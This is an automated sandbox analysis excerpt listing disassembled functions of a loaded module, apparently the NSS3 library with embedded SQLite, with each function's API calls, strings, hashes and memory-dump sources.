Part of subcall function 6C5D9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5EC6FD,?,?,?,?,6C63F965,00000000), ref: 6C5D9F0E
Part of subcall function 6C5D9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C63F965,00000000), ref: 6C5D9F5D

Strings

`vl, xrefs: 6C5EB0DF

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `vl
API String ID: 3155957115-2789490299
Opcode ID: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction ID: 1f079da992d96c6292bd472e2e837e70d05ca1491dd5efe13bca217fb5519648
Opcode Fuzzy Hash: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction Fuzzy Hash: F591CEB4A043068FDB04DF79DC84A6BBBB1FF49309F244A2DE46697A50EB31E840CB55

Function 6C680EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C680F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C680FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C681006
PK11_FreeSymKey.NSS3(?), ref: 6C68101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C681033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C681048
memcpy.VCRUNTIME140(?,?,?), ref: 6C68108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C68112E

Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815B8
Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815C1
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68162E
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C681637

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction ID: 95a798cc19985e93efad62055b12a8c0e60b08f783d87ea23fae4b9588c79c78
Opcode Fuzzy Hash: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction Fuzzy Hash: 9971D2B1E012058FDB00CFA5CD84AAAB7F4BF44318F14862DE92997B11EB71D945CBA9

Function 6C6A1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A241C

Strings

token, xrefs: 6C6A1F2C
serial, xrefs: 6C6A22A2
manufacturer, xrefs: 6C6A2179
model, xrefs: 6C6A23CB, 6C6A23EC

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction ID: 129f8d7a90af96d4669e3ad1971f843630a0ff160582bb01c20f31e91ab1252c
Opcode Fuzzy Hash: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction Fuzzy Hash: DA02E3A2D4C7C85EF73186B2C44C7D77BE09B46328F4C166DCADE46A83C3A85D4A8359

Function 6C5E0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5E103E
EnterCriticalSection.KERNEL32(?), ref: 6C5E1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5E1190
sqlite3_free.NSS3(00000000), ref: 6C5E1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5E126E
sqlite3_free.NSS3(?), ref: 6C5E127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5E1267
winAccess, xrefs: 6C5E129B
Pvl, xrefs: 6C5E109E

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pvl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1044067139
Opcode ID: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction ID: 6ccc7dfa9a04c45e61262b8c38f5000a6acb006276e5f16995ce397449083123
Opcode Fuzzy Hash: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction Fuzzy Hash: BB711B327052059BEB08DF65EC99E6F3376FB8A314F140639E91587A81DB30D901C796

Function 6C6A6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C60
PR_ExplodeTime.NSS3(00000000,6C651C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C94

Strings

gfff, xrefs: 6C6A6D9C
gfff, xrefs: 6C6A6CFD
gfff, xrefs: 6C6A6CF5
gfff, xrefs: 6C6A6D30
gfff, xrefs: 6C6A6D66

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction ID: bfa5ba7393045762ceca7a11ea0f79cdad9d0bbaec1f4d2ca55331b14f21ce55
Opcode Fuzzy Hash: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction Fuzzy Hash: 2D513B72B016494FC718CDADDC526DEBBDAABA4310F48C23AE442DB781D678E907C751

Function 6C720F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C721027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C721353

Strings

-- , xrefs: 6C720FF5
NULL, xrefs: 6C72119E
zeroblob(%d), xrefs: 6C721223
$, xrefs: 6C7212A0
%02x, xrefs: 6C7212F6
%lld, xrefs: 6C72114B
'%.*q', xrefs: 6C721217, 6C721292

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction ID: 8d4b4602e6f5adf40dce6319e0dd2786b8ed0010a3d3955245da7eeca769723a
Opcode Fuzzy Hash: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction Fuzzy Hash: A4E1AF71A083809FD714CF18C580A6BBBF2BF86348F14896DF98587B51E776E949CB42

Function 6C728FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C728FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C72915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729209

Strings

UUUU, xrefs: 6C729255
3333, xrefs: 6C72925E

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction ID: ca43001c1552c6310601ab2ec2131d25f488031a765146947e29eabf5207f86f
Opcode Fuzzy Hash: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction Fuzzy Hash: EAA1AF72E001199BDB18CB69CD94BAEB7B5BF48324F0D4179E905A7741E73AEC41CBA0

Function 6C6BBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C6BBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C6BBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C6BBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C6BBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C6BBE1E

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction ID: 684709cdf9758d2a7de0aa46fab8fd89bce89715d029ac9f91987e134704ab9a
Opcode Fuzzy Hash: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction Fuzzy Hash: 6A21E1B6E0028957FB1096529D82B8F36B49BD278DF080028F916BE651E330D43983AE

Function 6C768D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B14E4,6C71CC70), ref: 6C768D47
PR_GetCurrentThread.NSS3 ref: 6C768D98

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C768E7B
htons.WSOCK32(?), ref: 6C768EDB
PR_GetCurrentThread.NSS3 ref: 6C768F99
PR_GetCurrentThread.NSS3 ref: 6C76910A

Strings

%u.%u.%u.%u, xrefs: 6C768E74

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction ID: a688033dd2a9626c58d3a350f83fa3dd53b4546242942edabbf2c0b38265c32d
Opcode Fuzzy Hash: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction Fuzzy Hash: C502BA319052518FDB18CF1AC6687AABBB2EF53354F29826ACC915FF92C331D949C790

Function 6C5EEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6C5EF957, 6C5EF9BA
%s %T already exists, xrefs: 6C5EFAC8
temporary table name must be unqualified, xrefs: 6C5EF734
sqlite_master, xrefs: 6C5EF0AB, 6C5EF2DA, 6C5EF757, 6C5EF93E
authorizer malfunction, xrefs: 6C5EF95C, 6C5EF9BF, 6C5EFA5E, 6C5EFA8B
sqlite_temp_master, xrefs: 6C5EF0A6, 6C5EF2D5
table, xrefs: 6C5EF05C, 6C5EFABC, 6C5EFAC7
there is already an index named %s, xrefs: 6C5EF9D7
view, xrefs: 6C5EF061, 6C5EF071, 6C5EFAB7

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction ID: ba198bc7c99a3ec51f1c9b15177747398e5c32bc2b642da92c7e81c1bf2448bb
Opcode Fuzzy Hash: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction Fuzzy Hash: A672A170E04205CFDB14CF68D884BA9BBF1BF8D308F1582A9D9159BB52DB75E845CB90

Function 6C709C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A114

Strings

database corruption, xrefs: 6C70A029, 6C70A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C70A01F, 6C70A0E4, 6C70A0FE
%s at line %d of [%.10s], xrefs: 6C70A02E, 6C70A10D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction ID: 43ffb86fb7cbbf5141caa6ef2098450fc71ef5129500bb174d74d3212fea0419
Opcode Fuzzy Hash: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction Fuzzy Hash: 6822ACB17083419FC704CF29C69062ABBE1BFDA354F148A3DE9DA97A52D731E845CB42

Function 6C729D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5E8637,?,?), ref: 6C729E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5E8637), ref: 6C729ED6

Strings

database corruption, xrefs: 6C729ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C729EC0
%s at line %d of [%.10s], xrefs: 6C729ECF

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction ID: 93e6624f903cc5810b0fdf43b0a3d97c0aee3162a67fb9604e7dc27adca02f3d
Opcode Fuzzy Hash: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction Fuzzy Hash: 0E81A071F012098FCB14CFAACA84ADEB3F6EF58304B188569E815ABB51E734ED45CB50

Function 6C737F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7381BC

Strings

BINARY, xrefs: 6C738126
out of memory, xrefs: 6C73835B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction ID: 5c68758b613dd9a766786d7a7a526e109fe71757a502387342787647f2b06efa
Opcode Fuzzy Hash: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction Fuzzy Hash: F452AF71E05228DFDB04CF99C980B9DBBB2FF48318F15916AD859EB752D730A846CB80

Function 6C6B9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B9ED6

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C6B9EE4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
